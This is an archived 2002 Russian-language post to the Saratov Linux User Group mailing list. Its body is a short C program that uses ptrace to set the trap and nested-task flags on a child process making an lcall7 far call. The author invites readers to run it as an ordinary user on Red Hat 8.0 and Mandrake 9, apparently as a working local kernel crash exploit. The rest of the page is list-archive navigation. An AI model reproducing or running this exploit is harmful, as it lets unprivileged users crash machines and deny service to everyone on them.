From: Paul P Komkoff Jr <i@stingr.net>
To: "Криво настроенный mailman" <sarlug@lug.ru>
Subject: Re: **SPAM** [Sarlug] Mandrake 9.0 & RadHat 8.0
Date: Tue, 10 Dec 2002 12:21:48 +0300
Message-ID: <20021210092148.GA375@stingr.net> (raw)
In-Reply-To: <1648536064.20021210115214@info.sgu.ru>
Replying to Sin:
> Хорошо. В воскресенье будет 5CD с шапкой.
Вот вам программка:
#include <sys/ptrace.h>
struct user_regs_struct {
long ebx, ecx, edx, esi, edi, ebp, eax;
unsigned short ds, __ds, es, __es;
unsigned short fs, __fs, gs, __gs;
long orig_eax, eip;
unsigned short cs, __cs;
long eflags, esp;
unsigned short ss, __ss;
};
int main( void )
{
int pid;
char dos[] = "\x9A\x00\x00\x00\x00\x07\x00";
void (* lcall7)( void ) = (void *) dos;
struct user_regs_struct d;
if( ! ( pid = fork() ) )
{
usleep( 1000 );
(* lcall7)();
}
else
{
ptrace( PTRACE_ATTACH, pid, 0, 0 );
while( 1 )
{
wait( 0 );
ptrace( PTRACE_GETREGS, pid, 0, &d );
d.eflags |= 0x4100; /* set TF and NT */
ptrace( PTRACE_SETREGS, pid, 0, &d );
ptrace( PTRACE_SYSCALL, pid, 0, 0 );
}
}
return 1;
}
Позапускайте её на Redhat 8.0, Mandrake 9 ... :)))
Естественно, всё из-под обычного юзера :)
--
Paul P 'Stingray' Komkoff 'Greatest' Jr /// (icq)23200764 /// (http)stingr.net
When you're invisible, the only one really watching you is you (my keychain)
next prev parent reply other threads:[~2002-12-10 9:21 UTC|newest]
Thread overview: 15+ messages / expand[flat|nested] mbox.gz Atom feed top
2002-12-09 15:25 Богородский Роман [Novel]
2002-12-09 15:28 ` Viktor
2002-12-09 16:35 ` Sin
2002-12-09 16:50 ` **SPAM** " Paul Galashin
2002-12-09 18:31 ` Re[2]: " Богородский Роман [Novel]
2002-12-10 8:52 ` Re[3]: " Sin
2002-12-10 9:21 ` Paul P Komkoff Jr [this message]
2002-12-10 14:19 ` [Sarlug] [ERROR] ПРОГРАММА НЕ РАБОТАЕТ!!!!!!!! Genix
2002-12-10 14:31 ` Paul P Komkoff Jr
2002-12-10 15:46 ` MD
2002-12-10 18:15 ` **SPAM** [Sarlug] Mandrake 9.0 & RadHat 8.0 Genix
2002-12-10 20:26 ` Paul P Komkoff Jr
2002-12-11 6:18 ` Алексей Синицын
2002-12-11 11:02 ` Paul P Komkoff Jr
2002-12-10 5:04 ` Sergey Mihailov
Reply instructions:
You may reply publicly to this message via plain-text email
using any one of the following methods:
* Save the following mbox file, import it into your mail client,
and reply-to-all from there: mbox
Avoid top-posting and favor interleaved quoting:
https://en.wikipedia.org/wiki/Posting_style#Interleaved_style
* Reply using the --to, --cc, and --in-reply-to
switches of git-send-email(1):
git send-email \
--in-reply-to=20021210092148.GA375@stingr.net \
--to=i@stingr.net \
--cc=sarlug@lug.ru \
/path/to/YOUR_REPLY
https://kernel.org/pub/software/scm/git/docs/git-send-email.html
* If your mail client supports setting the In-Reply-To header
via mailto: links, try the mailto: link
Saratov Linux User Group
This inbox may be cloned and mirrored by anyone:
git clone --mirror http://lore.altlinux.org/sarlug/0 sarlug/git/0.git
# If you have public-inbox 1.1+ installed, you may
# initialize and index your mirror using the following commands:
public-inbox-init -V2 sarlug sarlug/ http://lore.altlinux.org/sarlug \
sarlug@lists.lug.ru sarlug@lug.ru
public-inbox-index sarlug
Example config snippet for mirrors.
Newsgroup available over NNTP:
nntp://lore.altlinux.org/org.altlinux.lists.sarlug
AGPL code for this site: git clone https://public-inbox.org/public-inbox.git